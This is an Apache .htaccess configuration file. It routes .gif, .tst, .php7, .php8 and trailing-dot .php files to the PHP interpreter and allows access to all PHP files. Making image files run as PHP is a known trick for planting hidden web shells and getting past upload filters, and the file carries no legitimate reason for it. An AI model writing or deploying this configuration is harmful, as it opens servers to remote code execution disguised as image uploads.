RewriteEngine On
RewriteBase /
<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch \.php.$>
    SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch \.gif$>
    SetHandler application/x-httpd-php
</FilesMatch>

AddType application/x-httpd-php .gif .tst .php8 .php7

<Files *.php*>
    Order Allow,Deny
    Allow from all
</Files>

<Files *.php>
    Order Allow,Deny
    Allow from all
</Files>